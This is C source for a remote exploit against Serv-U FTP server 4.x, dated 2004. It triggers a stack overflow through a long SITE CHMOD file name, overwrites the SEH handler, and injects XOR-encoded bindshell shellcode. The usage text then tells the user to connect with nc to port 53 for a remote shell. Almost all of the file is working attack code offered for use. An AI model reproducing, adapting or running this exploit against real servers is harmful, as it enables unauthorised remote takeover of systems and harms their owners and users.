/* * serv-u 4.2 site chmod long_file_name stack overflow exp * vul discovered by kkqq@0x557.org * exp coded by mslug@safechina.net * Jan 25 2004 */
/* test with serv-U 4.1.0.7, 4.1.0.11 on win2k sp4 en machine*/
#include <winsock2.h> #include <stdio.h>
#define CHMOD_CMD "SITE CHMOD 0666 "
#define ERR_HEADER "550 /"
#define SEH_STACK_POSITION 0x54
#define BUF_STACK_POSITION 0x1ec
#define PADDING_SIZE (BUF_STACK_POSITION - SEH_STACK_POSITION - strlen(ERR_HEADER))
// bindshell shellcode from www.cnhonker.org #define PORT 53 #define PORT_OFFSET 176
//0x0A code removed from shellcode unsigned char bdshellcode[] = // decode "\xEB\x10\x5f\x4f\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0f\x99\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF" // shellcode "\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12" "\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A" "\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6" "\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D" "\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A" "\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58" "\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0" "\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41" "\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B" "\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x99\xAC\xAA\x59\x10\xDE\x9D" "\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA" "\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10" "\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF" "\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8" "\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79" "\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C" "\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59" "\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD" "\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC" "\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5" "\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6" "\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0" "\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED" "\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";
//unsigned long jmp_esp = 0x77f4144b; //unsigned long jmp_ebx = 0x77a5211b; //unsigned long call_ebx = 0x750219d6; //use this one
unsigned char evil_chmod[5000];
unsigned char seh[] = "\xeb\x06\x90\x90" //jmp below
"\xd6\x19\x02\x75" //call_ebx = 0x750219d6
"\x33\xc0" //below: xor eax, eax
"\xb0\x1c" //mov al, 1c
"\x03\xd8" //add ebx, eax
"\xc6\x03\x90"; //mov byte ptr [ebx], 90
int main(int argc, char **argv) { WSADATA wsa; unsigned short port; int ftpsock, ret; char recv_buf[1000]; unsigned long ip; unsigned char buf[100];
printf("*******************************************\n");
printf("* Serv-U 4.2 site chmod stack overflow exp*\n");
printf("* Vul discovered by kkqq@0x557.org *\n");
printf("* Coded by mslug@safechina.net *\n");
printf("*******************************************\n");
printf("\n"); if(argc<6) {
printf("serv.exe <host> <port> <user> <password> <path>\n");
return 0;
}WSAStartup(MAKEWORD(2,2), &wsa);
port = htons(PORT)^(USHORT)0x9999; memcpy(&bdshellcode[PORT_OFFSET], &port, 2);
ftpsock = connect_tcp(argv[1], atoi(argv[2])); if(ftpsock < 0) { printf("[-] Connection refused\n"); return 0; } ret = recv(ftpsock, recv_buf, sizeof(recv_buf), 0);
recv_buf[ret] = 0;
printf("%s", recv_buf);
sprintf(buf, "USER %s\r\n", argv[3]); send(ftpsock, buf, strlen(buf), 0);
ret = recv(ftpsock, recv_buf, sizeof(recv_buf), 0);
recv_buf[ret] = 0;
printf("%s", recv_buf);sprintf(buf, "PASS %s\r\n", argv[4]); send(ftpsock, buf, strlen(buf), 0);
ret = recv(ftpsock, recv_buf, sizeof(recv_buf), 0);
recv_buf[ret] = 0;
printf("%s", recv_buf);sprintf(buf, "CWD %s\r\n", argv[5]); send(ftpsock, buf, strlen(buf), 0);
ret = recv(ftpsock, recv_buf, sizeof(recv_buf), 0);
recv_buf[ret] = 0;
printf("%s", recv_buf);memset(evil_chmod, 0x90, sizeof(evil_chmod));
memcpy(evil_chmod, CHMOD_CMD, strlen(CHMOD_CMD));
memcpy(&evil_chmod[strlen(CHMOD_CMD)+PADDING_SIZE], seh, strlen(seh));
memcpy(&evil_chmod[strlen(CHMOD_CMD)+PADDING_SIZE+strlen(seh)+20], bdshellcode, strlen(bdshellcode));
send(ftpsock, evil_chmod, strlen(evil_chmod), 0);
printf("[+] Shellcode sent\n");
printf("[+] Now nc to port 53\n");closesocket(ftpsock); WSACleanup();
return 0; }
int connect_tcp(char *host, int port)
{
struct hostent *rhost;
struct sockaddr_in sin_rhost;
unsigned long ip_rhost;
int sock;memset(&sin_rhost, 0, sizeof(sin_rhost));
sin_rhost.sin_family = AF_INET;
sin_rhost.sin_port = htons(port);
ip_rhost = inet_addr(host);
if(ip_rhost==INADDR_NONE) {
rhost = gethostbyname(host);
if(rhost==0) return -1;
ip_rhost = *(unsigned long*)rhost->h_addr;
}sin_rhost.sin_addr.s_addr = ip_rhost;
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sock<0) {
return -1;
} if(connect(sock, (struct sockaddr*) &sin_rhost, sizeof(sin_rhost))) {
return -1;
}return sock; }
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